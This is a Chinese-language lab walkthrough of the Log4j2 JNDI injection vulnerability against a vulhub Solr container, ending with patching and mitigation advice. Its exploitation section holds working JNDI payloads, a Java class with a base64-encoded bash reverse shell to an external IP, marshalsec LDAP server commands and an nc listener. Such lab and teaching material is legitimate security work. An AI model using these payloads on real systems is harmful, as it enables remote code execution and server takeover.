Java日志框架Log4j2漏洞

Apache Log4j 简介

Apache log4j 是 Apache 的一个开源项目, Apache log4j2 是一个 Java 的日志记录工具。该工具重写了 log4j 框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。

漏洞简介

log4j2 中存在 JNDI 注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞。成功利用该漏洞可在目标服务器上执行任意代码。

下面是触发漏洞的两部分关键代码:

  1. org.apache.logging.log4j.core.pattern.MessagePatternConverterformat() 方(表达式内容替换):

这部分内容重点就在于代码的主要内容就是一旦发现日志中包含 ${ 就会将表达式的内容替换为表达式解析后的内容,而不是表达式本身,从而导致攻击者构造符合要求的表达式供系统执行。

在 ${ 中可以使用的部分关键词如下:

  • log4j-java
1
2
3
4
5
6
${java:version}    getSystemProperty("java.version")
${java:runtime} getRuntime()
${java:vm} getVirtualMachine()
${java:os} getOperatingSystem()
${java:hw} getHardware()
${java:locale} getLocale()
  • Linux
1
2
3
4
5
${env:CLASSPATH}
${env:HOME}
${env:JAVA_HOME}
${env:LANG}
${env:LC_TERMINAL}

2.apache.logging.log4j.core.lookup.StrSubstitutor(提取字符串,并通过 lookup 进行内容
替换)

日志在打印时当遇到 ${ 后,Interpolator 类以:号作为分割,将表达式内容分割成两部分,前面部分作为 prefix,后面部分作为 key。然后通过 prefix 去找对应的 lookup,通过对应的 lookup 实例调用lookup 方法,最后将 key 作为参数带入执行。

由于log4j2 支持很多协议,例如通过 ldap 查找变量,通过 docker 查找变量,通过rmi等等。目前看到使用最多的主要是使用ldap来构造payload:

1
${jndi:ldap://ip/port/exp}

最终效果就是通过 jndi 注入,借助 ldap 服务来下载执行恶意 payload,从而执行命令整个利用流程分两步:

第一步:向目标发送指定 payload,目标对 payload 进行解析执行,然后会通过 ldap 链接远程服务,当 ldap 服务收到请求之后,将请求进行重定向到恶意 java class 的地址。

第二步:目标服务器收到重定向请求之后,下载恶意 class 并执行其中的代码,从而执行系统命令。

整个利用流程如图所示:

1639712440_61bc06b85a207de73fde2

JNDI注入中RMI和LDAP与JDK版本的关系:

1639712463_61bc06cf985900ad0692b

漏洞范围

影响组件应用

  • Apache Struts2
  • Apache Solr
  • Apache Druid
  • Apache Flink
  • srping-boot-strater-log4j2

影响Log4j版本

Apache Log4j 2.0 ~ 2.15.0-rc1

漏洞利用

环境搭建

docker-compose.yml

1
2
3
4
5
6
version: '2'
services:
solr:
image: vulhub/solr:8.11.0
ports:
- "8983:8983"
1
docker-compose up -d

POC测试

http://dnslog.cn/
https://www.callback.red/

1
${jndi:ldap://9xovk0.dnslog.cn}
1
${jndi:ldap://${sys:java.version}.vebwc2.dnslog.cn}
1
http://IP地址:端口/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.vebwc2.dnslog.cn}

image-20230522143220914

image-20230522143234590

编写并编译恶意代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Touch.java
import java.lang.Runtime;
import java.lang.Process;

public class Touch {
public Touch(){
try{
Runtime.getRuntime().exec("/bin/touch /tmp/mingy");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Touch e = new Touch();
}
}
1
javac Touch.java

编写以下的恶意文件Exploit.java,我们企图反弹shell,因此对应的bash命令为

1
bash -i >& /dev/tcp/47.236.16.67/7777 0>&1

然后对上述命令进行base64编码

https://ares-x.com/tools/runtime-exec

1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4yMzYuMTYuNjcvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//Exploit.java
import java.lang.Runtime;
import java.lang.Process;

public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4yMzYuMTYuNjcvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
1
javac Exploit.java

并在此目录开启http服务,命令如下:

1
python3 -m http.server

启动LDAP服务

  • 创建文件
1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://47.236.16.67:8000/#Touch" 9999
  • 反弹shell
1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://47.236.16.67:8000/#Exploit" 9999

监听端口

1
nc -lvvp 7777

image-20230522174522374

发送Payload

  • 创建文件
1
${jndi:ldap://47.236.16.67:9999/Touch}
  • 反弹shell
1
${jndi:ldap://47.236.16.67:9999/Exploit}

得到Shell

image-20230522174851297

image-20240311151043233

利用工具

  1. 下载 JNDI-Injection-Exploit 工具

https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0

  1. 构造命令执行

    1
    bash -i >& /dev/tcp/47.236.16.67/9090 0>&1

    java-runtime-exec 转换:

    1
    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4yMzYuMTYuNjcvOTA5MCAwPiYx}|{base64,-d}|{bash,-i}
  2. 工具使用

    1
    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "构造反弹shell的命令的base64编码" -A 攻击机ip"
    1
    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4yMzYuMTYuNjcvOTA5MCAwPiYx}|{base64,-d}|{bash,-i}" -A "47.236.16.67"

    image-20240311151817941

  3. 得到反弹shell的EXP

    1
    ${jndi:ldap://47.236.16.67:1389/jfjnqo}
  4. 得到shell

    image-20240311152052437

漏洞修复建议

通用修补建议

升级到最新版本 2.15.0-rc2 :

https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

临时修补建议

  1. 设置JVM启动参数 -Dlog4j2.formatMsgNoLookups=true 。
  2. 尽量使用JDK 版本大于 11.0.1、8u191、7u201、6u211 ,需要注意的是,即使是使用了 JDK 高版本也不能完全保证安全,依然存在本地绕过的情况。
  3. 限制不必要的业务访问外网。
  4. 采用 rasp 对 lookup 的调用进行阻断